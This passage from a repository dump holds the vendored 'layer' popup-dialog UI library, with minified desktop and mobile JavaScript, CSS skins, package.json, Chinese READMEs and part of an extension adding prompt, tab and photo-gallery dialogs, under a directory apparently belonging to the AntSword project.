#layui-layer-shade\"+a).remove(),f.ie6&&e.reselect(),e.rescollbar(a),c(document).off(\"keydown\",e.enter),\"function\"==typeof e.end[a]&&e.end[a](),delete e.end[a]}},f.closeAll=function(a){c.each(c(\".\"+h[0]),function(){var b=c(this),d=a?b.attr(\"type\")===a:1;d&&f.close(b.attr(\"times\")),d=null})},e.run=function(){c=jQuery,d=c(a),h.html=c(\"html\"),f.open=function(a){var b=new g(a);return b.index}},\"function\"==typeof define?define(function(){return e.run(),f}):function(){e.run(),f.use(\"skin/layer.css\")}()}(window);"
  },
  {
    "path": "antSword/static/libs/layer/mobile/README.md",
    "content": "﻿\n## layer mobile\nlayer mobile是为移动设备（手机、平板等webkit内核浏览器/webview）量身定做的弹层支撑，采用Native JavaScript编写，完全独立于PC版的layer，您需要按照场景选择使用。\n\n[文档与演示](http://sentsin.com/layui/layer/)   \n\n1. 无需依赖任何库，只加载layer.m.js即可\n2. 小巧玲珑，性能卓越、柔情似水…\n3. 具备无以伦比的自适应功能\n4. 灵活的皮肤自定义支撑，充分确保弹层风格多样化\n5. 丰富、科学的接口，让弹弹弹层无所不能\n\n## 备注\n[官网](http://sentsin.com/layui/layer/)、[有问必答](http://say.sentsin.com/home-48.html)\n"
  },
  {
    "path": "antSword/static/libs/layer/mobile/layer.js",
    "content": "/*! layer mobile-v1.7 弹层组件移动版 License LGPL http://layer.layui.com/mobile By 贤心 */\n;!function(a){\"use strict\";var b=document,c=\"querySelectorAll\",d=\"getElementsByClassName\",e=function(a){return b[c](a)},f={type:0,shade:!0,shadeClose:!0,fixed:!0,anim:!0},g={extend:function(a){var b=JSON.parse(JSON.stringify(f));for(var c in a)b[c]=a[c];return b},timer:{},end:{}};g.touch=function(a,b){var c;return/Android|iPhone|SymbianOS|Windows Phone|iPad|iPod/.test(navigator.userAgent)?(a.addEventListener(\"touchmove\",function(){c=!0},!1),void a.addEventListener(\"touchend\",function(a){a.preventDefault(),c||b.call(this,a),c=!1},!1)):a.addEventListener(\"click\",function(a){b.call(this,a)},!1)};var h=0,i=[\"layermbox\"],j=function(a){var b=this;b.config=g.extend(a),b.view()};j.prototype.view=function(){var a=this,c=a.config,f=b.createElement(\"div\");a.id=f.id=i[0]+h,f.setAttribute(\"class\",i[0]+\" \"+i[0]+(c.type||0)),f.setAttribute(\"index\",h);var g=function(){var a=\"object\"==typeof c.title;return c.title?'<h3 style=\"'+(a?c.title[1]:\"\")+'\">'+(a?c.title[0]:c.title)+'</h3><button class=\"layermend\"></button>':\"\"}(),j=function(){var a,b=(c.btn||[]).length;return 0!==b&&c.btn?(a='<span type=\"1\">'+c.btn[0]+\"</span>\",2===b&&(a='<span type=\"0\">'+c.btn[1]+\"</span>\"+a),'<div class=\"layermbtn\">'+a+\"</div>\"):\"\"}();if(c.fixed||(c.top=c.hasOwnProperty(\"top\")?c.top:100,c.style=c.style||\"\",c.style+=\" top:\"+(b.body.scrollTop+c.top)+\"px\"),2===c.type&&(c.content='<i></i><i class=\"laymloadtwo\"></i><i></i>'),f.innerHTML=(c.shade?\"<div \"+(\"string\"==typeof c.shade?'style=\"'+c.shade+'\"':\"\")+' class=\"laymshade\"></div>':\"\")+'<div class=\"layermmain\" '+(c.fixed?\"\":'style=\"position:static;\"')+'><div class=\"section\"><div class=\"layermchild '+(c.className?c.className:\"\")+\" \"+(c.type||c.shade?\"\":\"layermborder \")+(c.anim?\"layermanim\":\"\")+'\" '+(c.style?'style=\"'+c.style+'\"':\"\")+\">\"+g+'<div class=\"layermcont\">'+c.content+\"</div>\"+j+\"</div></div></div>\",!c.type||2===c.type){var k=b[d](i[0]+c.type),l=k.length;l>=1&&layer.close(k[0].getAttribute(\"index\"))}document.body.appendChild(f);var m=a.elem=e(\"#\"+a.id)[0];c.success&&c.success(m),a.index=h++,a.action(c,m)},j.prototype.action=function(a,b){var c=this;if(a.time&&(g.timer[c.index]=setTimeout(function(){layer.close(c.index)},1e3*a.time)),a.title){var e=b[d](\"layermend\")[0],f=function(){a.cancel&&a.cancel(),layer.close(c.index)};g.touch(e,f)}var h=function(){var b=this.getAttribute(\"type\");0==b?(a.no&&a.no(),layer.close(c.index)):a.yes?a.yes(c.index):layer.close(c.index)};if(a.btn)for(var i=b[d](\"layermbtn\")[0].children,j=i.length,k=0;j>k;k++)g.touch(i[k],h);if(a.shade&&a.shadeClose){var l=b[d](\"laymshade\")[0];g.touch(l,function(){layer.close(c.index,a.end)})}a.end&&(g.end[c.index]=a.end)},a.layer={v:\"1.7\",index:h,open:function(a){var b=new j(a||{});return b.index},close:function(a){var c=e(\"#\"+i[0]+a)[0];c&&(c.innerHTML=\"\",b.body.removeChild(c),clearTimeout(g.timer[a]),delete g.timer[a],\"function\"==typeof g.end[a]&&g.end[a](),delete g.end[a])},closeAll:function(){for(var a=b[d](i[0]),c=0,e=a.length;e>c;c++)layer.close(0|a[0].getAttribute(\"index\"))}},\"function\"==typeof define?define(function(){return layer}):function(){var a=document.scripts,c=a[a.length-1],d=c.src,e=d.substring(0,d.lastIndexOf(\"/\")+1);c.getAttribute(\"merge\")||document.head.appendChild(function(){var a=b.createElement(\"link\");return a.href=e+\"need/layer.css\",a.type=\"text/css\",a.rel=\"styleSheet\",a.id=\"layermcss\",a}())}()}(window);"
  },
  {
    "path": "antSword/static/libs/layer/mobile/need/layer.css",
    "content": ".layermbox{position:relative;z-index:19891014}.layermmain,.laymshade{position:fixed;left:0;top:0;width:100%;height:100%}.layermbtn span,.layermchild{display:inline-block;position:relative}.laymshade{background-color:rgba(0,0,0,.5);pointer-events:auto}.layermmain{display:table;font-family:Helvetica,arial,sans-serif;pointer-events:none}.layermmain .section{display:table-cell;vertical-align:middle;text-align:center}.layermchild{text-align:left;background-color:#fff;font-size:14px;border-radius:3px;box-shadow:0 0 8px rgba(0,0,0,.1);pointer-events:auto;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.18s;animation-duration:.18s}.layermborder{border:1px solid #999}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.layermanim{animation-name:bounceIn;-webkit-animation-name:bounceIn}.layermbox0 .layermchild{max-width:90%;min-width:150px}.layermbox1 .layermchild{border:none;border-radius:0}.layermbox2 .layermchild{width:auto;max-width:260px;min-width:40px;border:none;background:0 0;box-shadow:none;color:#fff}.layermchild h3{padding:0 45px 0 10px;height:50px;line-height:50px;font-size:16px;font-weight:400;border-radius:3px 3px 0 0;border-bottom:1px solid #EBEBEB}.layermbtn span,.layermchild h3{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layermcont{padding:20px 15px;line-height:22px;text-align:center}.layermbox1 .layermcont{padding:0;text-align:left}.layermbox2 .layermcont{text-align:center;padding:0;line-height:0}.layermbox2 .layermcont i{width:25px;height:25px;margin-left:8px;display:inline-block;background-color:#fff;border-radius:100%;-webkit-animation:bouncedelay 1.4s infinite ease-in-out;animation:bouncedelay 1.4s infinite ease-in-out;-webkit-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes bouncedelay{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}@keyframes bouncedelay{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}.layermbox2 .layermcont i:first-child{margin-left:0;-webkit-animation-delay:-.32s;animation-delay:-.32s}.layermbox2 .layermcont i.laymloadtwo{-webkit-animation-delay:-.16s;animation-delay:-.16s}.layermbox2 .layermcont>div{line-height:22px;padding-top:7px;margin-bottom:20px;font-size:14px}.layermbtn{position:relative;height:40px;line-height:40px;font-size:0;text-align:center;border-top:1px solid #EBEBEB}.layermbtn span{width:50%;text-align:center;font-size:14px;cursor:pointer;border-radius:0 3px 0 0}.layermbtn span:first-child{height:39px;background-color:#fff;border-radius:0 0 0 3px}.layermbtn:before{content:'\\20';position:absolute;width:1px;height:39px;left:50%;top:0;background-color:#EBEBEB}.layermend{position:absolute;right:7px;top:10px;width:30px;height:30px;border:0;font-weight:400;background:0 0;cursor:pointer;-webkit-appearance:none;font-size:30px}.layermend::after,.layermend::before{position:absolute;left:5px;top:15px;content:'';width:18px;height:1px;background-color:#999;transform:rotate(45deg);-webkit-transform:rotate(45deg);border-radius:3px}.layermend::after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}"
  },
  {
    "path": "antSword/static/libs/layer/package.json",
    "content": "﻿{\n    \"name\": \"layer\",\n    \"version\": \"2.1\",\n    \"mobile\": \"1.7\",\n    \"description\": \"弹层组件\",\n    \"main\": \"\",\n    \"scripts\": {\n        \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n    },\n    \"repository\": {\n        \"type\": \"\",\n        \"url\": \"\"\n    },\n    \"author\": \"贤心\",\n    \"homepage\": \"http://layer.layui.com/\",\n    \"devDependencies\": {\n        \"grunt\": \"*\",\n        \"grunt-contrib-uglify\": \"*\",\n        \"grunt-contrib-cssmin\": \"*\",\n        \"grunt-css\": \"*\"\n        \n    }\n}\n"
  },
  {
    "path": "antSword/static/libs/layer/skin/layer.css",
    "content": "/*!\n \n @Name: layer's style\n @Author: 贤心\n @Blog： sentsin.com\n \n */*html{background-image:url(about:blank);background-attachment:fixed}html #layui_layer_skinlayercss{display:none;position:absolute;width:1989px}.layui-layer,.layui-layer-shade{position:fixed;_position:absolute;pointer-events:auto}.layui-layer-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+\"px\")}.layui-layer{top:150px;left:50%;margin:0;padding:0;background-color:#fff;-webkit-background-clip:content;box-shadow:1px 1px 50px rgba(0,0,0,.3);border-radius:2px;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.3s;animation-duration:.3s}.layui-layer-close{position:absolute}.layui-layer-content{position:relative}.layui-layer-border{border:1px solid #B2B2B2;border:1px solid rgba(0,0,0,.3);box-shadow:1px 1px 5px rgba(0,0,0,.2)}.layui-layer-moves{position:absolute;border:3px solid #666;border:3px solid rgba(0,0,0,.5);cursor:move;background-color:#fff;background-color:rgba(255,255,255,.3);filter:alpha(opacity=50)}.layui-layer-load{background:url(default/loading-0.gif) center center no-repeat #fff}.layui-layer-ico{background:url(default/icon.png) no-repeat}.layui-layer-btn a,.layui-layer-dialog .layui-layer-ico,.layui-layer-setwin a{display:inline-block;*display:inline;*zoom:1;vertical-align:top}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layui-anim{-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.03);transform:scale(1.03)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.03);-ms-transform:scale(1.03);transform:scale(1.03)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layui-anim-close{-webkit-animation-name:bounceOut;animation-name:bounceOut;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layui-anim-01{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layui-anim-02{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layui-anim-03{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}.layui-anim-04{-webkit-animation-name:rollIn;animation-name:rollIn}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-anim-05{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layui-anim-06{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-layer-title{padding:0 80px 0 20px;height:42px;line-height:42px;border-bottom:1px solid #eee;font-size:14px;color:#333;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;background-color:#F8F8F8;border-radius:2px 2px 0 0}.layui-layer-setwin{position:absolute;right:15px;*right:0;top:15px;font-size:0;line-height:initial}.layui-layer-setwin a{position:relative;width:16px;height:16px;margin-left:10px;font-size:12px;_overflow:hidden}.layui-layer-setwin .layui-layer-min cite{position:absolute;width:14px;height:2px;left:0;top:50%;margin-top:-1px;background-color:#2E2D3C;cursor:pointer;_overflow:hidden}.layui-layer-setwin .layui-layer-min:hover cite{background-color:#2D93CA}.layui-layer-setwin .layui-layer-max{background-position:-32px -40px}.layui-layer-setwin .layui-layer-max:hover{background-position:-16px -40px}.layui-layer-setwin .layui-layer-maxmin{background-position:-65px -40px}.layui-layer-setwin .layui-layer-maxmin:hover{background-position:-49px -40px}.layui-layer-setwin .layui-layer-close1{background-position:0 -40px;cursor:pointer}.layui-layer-setwin .layui-layer-close1:hover{opacity:.7}.layui-layer-setwin .layui-layer-close2{position:absolute;right:-28px;top:-28px;width:30px;height:30px;margin-left:0;background-position:-149px -31px;*right:-18px;_display:none}.layui-layer-setwin .layui-layer-close2:hover{background-position:-180px -31px}.layui-layer-btn{text-align:right;padding:0 10px 12px;pointer-events:auto}.layui-layer-btn a{height:28px;line-height:28px;margin:0 6px;padding:0 15px;border:1px solid #dedede;background-color:#f1f1f1;color:#333;border-radius:2px;font-weight:400;cursor:pointer;text-decoration:none}.layui-layer-btn a:hover{opacity:.9;text-decoration:none}.layui-layer-btn a:active{opacity:.7}.layui-layer-btn .layui-layer-btn0{border-color:#4898d5;background-color:#2e8ded;color:#fff}.layui-layer-dialog{min-width:260px}.layui-layer-dialog .layui-layer-content{position:relative;padding:20px;line-height:24px;word-break:break-all;font-size:14px;overflow:auto}.layui-layer-dialog .layui-layer-content .layui-layer-ico{position:absolute;top:16px;left:15px;_left:-40px;width:30px;height:30px}.layui-layer-ico1{background-position:-30px 0}.layui-layer-ico2{background-position:-60px 0}.layui-layer-ico3{background-position:-90px 0}.layui-layer-ico4{background-position:-120px 0}.layui-layer-ico5{background-position:-150px 0}.layui-layer-ico6{background-position:-180px 0}.layui-layer-rim{border:6px solid #8D8D8D;border:6px solid rgba(0,0,0,.3);border-radius:5px;box-shadow:none}.layui-layer-msg{min-width:180px;border:1px solid #D3D4D3;box-shadow:none}.layui-layer-hui{min-width:100px;background-color:#000;filter:alpha(opacity=60);background-color:rgba(0,0,0,.6);color:#fff;border:none}.layui-layer-hui .layui-layer-content{padding:12px 25px;text-align:center}.layui-layer-dialog .layui-layer-padding{padding:20px 20px 20px 55px;text-align:left}.layui-layer-page .layui-layer-content{position:relative;overflow:auto}.layui-layer-iframe .layui-layer-btn,.layui-layer-page .layui-layer-btn{padding-top:10px}.layui-layer-nobg{background:0 0}.layui-layer-iframe .layui-layer-content{overflow:hidden}.layui-layer-iframe iframe{display:block;width:100%}.layui-layer-loading{border-radius:100%;background:0 0;box-shadow:none;border:none}.layui-layer-loading .layui-layer-content{width:60px;height:24px;background:url(default/loading-0.gif) no-repeat}.layui-layer-loading .layui-layer-loading1{width:37px;height:37px;background:url(default/loading-1.gif) no-repeat}.layui-layer-ico16,.layui-layer-loading .layui-layer-loading2{width:32px;height:32px;background:url(default/loading-2.gif) no-repeat}.layui-layer-tips{background:0 0;box-shadow:none;border:none}.layui-layer-tips .layui-layer-content{position:relative;line-height:22px;min-width:12px;padding:5px 10px;font-size:12px;_float:left;border-radius:3px;box-shadow:1px 1px 3px rgba(0,0,0,.3);background-color:#F90;color:#fff}.layui-layer-tips .layui-layer-close{right:-2px;top:-1px}.layui-layer-tips i.layui-layer-TipsG{position:absolute;width:0;height:0;border-width:8px;border-color:transparent;border-style:dashed;*overflow:hidden}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{left:5px;border-right-style:solid;border-right-color:#F90}.layui-layer-tips i.layui-layer-TipsT{bottom:-8px}.layui-layer-tips i.layui-layer-TipsB{top:-8px}.layui-layer-tips i.layui-layer-TipsL,.layui-layer-tips i.layui-layer-TipsR{top:1px;border-bottom-style:solid;border-bottom-color:#F90}.layui-layer-tips i.layui-layer-TipsR{left:-8px}.layui-layer-tips i.layui-layer-TipsL{right:-8px}.layui-layer-lan[type=dialog]{min-width:280px}.layui-layer-lan .layui-layer-title{background:#4476A7;color:#fff;border:none}.layui-layer-lan .layui-layer-lan .layui-layer-btn{padding:10px;text-align:right;border-top:1px solid #E9E7E7}.layui-layer-lan .layui-layer-btn a{background:#BBB5B5;border:none}.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#C9C5C5}.layui-layer-molv .layui-layer-title{background:#009f95;color:#fff;border:none}.layui-layer-molv .layui-layer-btn a{background:#009f95}.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92B8B1}"
  },
  {
    "path": "antSword/static/libs/layer/skin/layer.ext.css",
    "content": "/*!\n \n @Name: layer拓展样式\n @Date: 2012.12.13\n @Author: 贤心\n @blog: sentsin.com\n \n */.layui-layer-imgbar,.layui-layer-imgtit a,.layui-layer-tab .layui-layer-title span{text-overflow:ellipsis;white-space:nowrap}.layui-layer-iconext{background:url(default/icon-ext.png) no-repeat}html #layui_layer_skinlayerextcss{display:none;position:absolute;width:1989px}.layui-layer-prompt .layui-layer-input{display:block;width:220px;height:30px;margin:0 auto;line-height:30px;padding:0 5px;border:1px solid #ccc;box-shadow:1px 1px 5px rgba(0,0,0,.1) inset;color:#333}.layui-layer-prompt textarea.layui-layer-input{width:300px;height:100px;line-height:20px}.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4)}.layui-layer-tab .layui-layer-title{padding-left:0;border-bottom:1px solid #ccc;background-color:#eee;overflow:visible}.layui-layer-tab .layui-layer-title span{position:relative;float:left;min-width:80px;max-width:260px;padding:0 20px;text-align:center;cursor:default;overflow:hidden}.layui-layer-tab .layui-layer-title span.layui-layer-tabnow{height:43px;border-left:1px solid #ccc;border-right:1px solid #ccc;background-color:#fff;z-index:10}.layui-layer-tab .layui-layer-title span:first-child{border-left:none}.layui-layer-tabmain{line-height:24px;clear:both}.layui-layer-tabmain .layui-layer-tabli{display:none}.layui-layer-tabmain .layui-layer-tabli.xubox_tab_layer{display:block}.xubox_tabclose{position:absolute;right:10px;top:5px;cursor:pointer}.layui-layer-photos{-webkit-animation-duration:1s;animation-duration:1s;background:url(default/xubox_loading1.gif) center center no-repeat #000}.layui-layer-photos .layui-layer-content{overflow:hidden;text-align:center}.layui-layer-photos .layui-layer-phimg img{position:relative;width:100%;display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-imgbar,.layui-layer-imguide{display:none}.layui-layer-imgnext,.layui-layer-imgprev{position:absolute;top:50%;width:27px;_width:44px;height:44px;margin-top:-22px;outline:0;blr:expression(this.onFocus=this.blur())}.layui-layer-imgprev{left:10px;background-position:-5px -5px;_background-position:-70px -5px}.layui-layer-imgprev:hover{background-position:-33px -5px;_background-position:-120px -5px}.layui-layer-imgnext{right:10px;_right:8px;background-position:-5px -50px;_background-position:-70px -50px}.layui-layer-imgnext:hover{background-position:-33px -50px;_background-position:-120px -50px}.layui-layer-imgbar{position:absolute;left:0;bottom:0;width:100%;height:32px;line-height:32px;background-color:rgba(0,0,0,.8);background-color:#000\\9;filter:Alpha(opacity=80);color:#fff;overflow:hidden;font-size:0}.layui-layer-imgtit *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:12px}.layui-layer-imgtit a{max-width:65%;overflow:hidden;color:#fff}.layui-layer-imgtit a:hover{color:#fff;text-decoration:underline}.layui-layer-imgtit em{padding-left:10px;font-style:normal}"
  },
  {
    "path": "antSword/static/libs/layer/src/README.md",
    "content": "\n## 源码\n开发版源码随时可能会提交，因此生产环境更建议使用外面根目录压缩后的js。"
  },
  {
    "path": "antSword/static/libs/layer/src/extend/layer.ext.js",
    "content": "/*!\n \n @Name: layer v1.9.x-ext\n @Author: 贤心\n @Api：http://sentsin.com/jquery/layer\n\n */\n \n;!function(){\n \nlayer.use('skin/layer.ext.css', function(){\n    layer.layui_layer_extendlayerextjs = true;\n});\n\nvar cache = layer.cache||{}, skin = function(type){\n    return (cache.skin ? (' ' + cache.skin + ' ' + cache.skin + '-'+type) : '');\n}\n\n//仿系统prompt\nlayer.prompt = function(options, yes){\n    options = options || {};\n    if(typeof options === 'function') yes = options;\n    var prompt, content = options.formType == 2 ? '<textarea class=\"layui-layer-input\">'+ (options.value||'') +'</textarea>' : function(){\n        return '<input type=\"'+ (options.formType == 1 ? 'password' : 'text') +'\" class=\"layui-layer-input\" value=\"'+ (options.value||'') +'\">';\n    }();\n    return layer.open($.extend({\n        btn: ['&#x786E;&#x5B9A;','&#x53D6;&#x6D88;'],\n        content: content,\n        skin: 'layui-layer-prompt' + skin('prompt'),\n        success: function(layero){\n            prompt = layero.find('.layui-layer-input');\n            prompt.focus();\n        }, yes: function(index){\n            var value = prompt.val();\n            if(value === ''){\n                prompt.focus();\n            } else if(value.length > (options.maxlength||500)) {\n                layer.tips('&#x6700;&#x591A;&#x8F93;&#x5165;'+ (options.maxlength || 500) +'&#x4E2A;&#x5B57;&#x6570;', prompt, {tips: 1});\n            } else {\n                yes && yes(value, index, prompt);\n            }\n        }\n    }, options));\n};\n\n//tab层\nlayer.tab = function(options){\n    options = options || {};\n    var tab = options.tab || {};\n    return layer.open($.extend({\n        type: 1,\n        skin: 'layui-layer-tab' + skin('tab'),\n        title: function(){\n            var len = tab.length, ii = 1, str = '';\n            if(len > 0){\n                str = '<span class=\"layui-layer-tabnow\">'+ tab[0].title +'</span>';\n                for(; ii < len; ii++){\n                    str += '<span>'+ tab[ii].title +'</span>';\n                }\n            }\n            return str;\n        }(),\n        content: '<ul class=\"layui-layer-tabmain\">'+ function(){\n            var len = tab.length, ii = 1, str = '';\n            if(len > 0){\n                str = '<li class=\"layui-layer-tabli xubox_tab_layer\">'+ (tab[0].content || 'no content') +'</li>';\n                for(; ii < len; ii++){\n                    str += '<li class=\"layui-layer-tabli\">'+ (tab[ii].content || 'no  content') +'</li>';\n                }\n            }\n            return str;\n        }() +'</ul>',\n        success: function(layero){\n            var btn = layero.find('.layui-layer-title').children();\n            var main = layero.find('.layui-layer-tabmain').children();\n            btn.on('mousedown', function(e){\n                e.stopPropagation ? e.stopPropagation() : e.cancelBubble = true;\n                var othis = $(this), index = othis.index();\n                othis.addClass('layui-layer-tabnow').siblings().removeClass('layui-layer-tabnow');\n                main.eq(index).show().siblings().hide();\n            });\n        }\n    }, options));\n};\n\n//相册层\nlayer.photos = function(options, loop, key){\n    var dict = {};\n    options = options || {};\n    if(!options.photos) return;\n    var type = options.photos.constructor === Object;\n    var photos = type ? options.photos : {}, data = photos.data || [];\n    var start = photos.start || 0;\n    dict.imgIndex = start + 1;\n\n    if(!type){ //页面直接获取\n        var parent = $(options.photos), img = parent.find(options.img||'img');\n        if (img.length === 0) return;\n        loop || img.each(function(index){\n            var othis = $(this);\n            data.push({\n                alt: othis.attr('alt'),\n                pid: othis.attr('layer-pid'),\n                src: othis.attr('layer-src') || othis.attr('src'),\n                thumb: othis.attr('src')\n            });\n            othis.on('click', function(){\n                layer.photos($.extend(options, {\n                    photos: {\n                        start: index,\n                        data: data,\n                        tab: options.tab\n                    },\n                    full: options.full\n                }), true);\n            });\n        });\n        \n        //不直接弹出\n        if(!loop) return;\n        \n    } else if (data.length === 0){\n        layer.msg('&#x6CA1;&#x6709;&#x56FE;&#x7247;');\n        return;\n    }\n    \n    //上一张\n    dict.imgprev = function(key){\n        dict.imgIndex--;\n        if(dict.imgIndex < 1){\n            dict.imgIndex = data.length;\n        }\n        dict.tabimg(key);\n    };\n    \n    //下一张\n    dict.imgnext = function(key,errorMsg){\n        dict.imgIndex++;\n        if(dict.imgIndex > data.length){\n            dict.imgIndex = 1;\n            if (errorMsg) {return};\n        }\n        dict.tabimg(key)\n    };\n    \n    //方向键\n    dict.keyup = function(event){\n        if(!dict.end){\n            var code = event.keyCode;\n            event.preventDefault();\n            if(code === 37){\n                dict.imgprev(true);\n            } else if(code === 39) {\n                dict.imgnext(true);\n            } else if(code === 27) {\n                layer.close(dict.index);\n            }\n        }\n    }\n    \n    //切换\n    dict.tabimg = function(key){\n        if(data.length <= 1) return;\n        photos.start = dict.imgIndex - 1;\n        layer.close(dict.index);\n        layer.photos(options, true, key);\n    }\n    \n    //一些动作\n    dict.event = function(){\n        dict.bigimg.hover(function(){\n            dict.imgsee.show();\n        }, function(){\n            dict.imgsee.hide();\n        });\n        \n        dict.bigimg.find('.layui-layer-imgprev').on('click', function(event){\n            event.preventDefault();\n            dict.imgprev();\n        });  \n        \n        dict.bigimg.find('.layui-layer-imgnext').on('click', function(event){         \n            event.preventDefault();\n            dict.imgnext();\n        });\n        \n        $(document).on('keyup', dict.keyup);\n    };\n    \n    //图片预加载\n    function loadImage(url, callback, error) {     \n        var img = new Image();    \n        img.onload = function(){\n            img.onload = null;\n            callback(img);\n        };\n        img.onerror = function(e){\n            img.onerror = null;\n            error(e);\n        };\n        img.src = url; \n    };\n    \n    dict.loadi = layer.load(1, {\n        shade: 'shade' in options ? false : 0.9,\n        scrollbar: false\n    });\n    loadImage(data[start].src, function(img){\n        layer.close(dict.loadi);\n        dict.index = layer.open($.extend({\n            type: 1,\n            area: function(){\n               var imgarea = [img.width, img.height];\n               var winarea = [$(window).width() - 100, $(window).height() - 100];\n               if(!options.full && imgarea[0] > winarea[0]){\n                   imgarea[0] = winarea[0];\n                   imgarea[1] = imgarea[0]*winarea[1]/imgarea[0];\n               }\n               return [imgarea[0]+'px', imgarea[1]+'px']; \n            }(),\n            title: false,\n            shade: 0.9,\n            shadeClose: true,\n            closeBtn: false,\n            move: '.layui-layer-phimg img',\n            moveType: 1,\n            scrollbar: false,\n            moveOut: true,\n            shift: Math.random()*5|0,\n            skin: 'layui-layer-photos' + skin('photos'),\n            content: '<div class=\"layui-layer-phimg\">'\n                +'<img src=\"'+ data[start].src +'\" alt=\"'+ (data[start].alt||'') +'\" layer-pid=\"'+ data[start].pid +'\">'\n                +'<div class=\"layui-layer-imgsee\">'\n                    +(data.length > 1 ? '<span class=\"layui-layer-imguide\"><a href=\"javascript:;\" class=\"layui-layer-iconext layui-layer-imgprev\"></a><a href=\"javascript:;\" class=\"layui-layer-iconext layui-layer-imgnext\"></a></span>' : '')\n                    +'<div class=\"layui-layer-imgbar\" style=\"display:'+ (key ? 'block' : '') +'\"><span 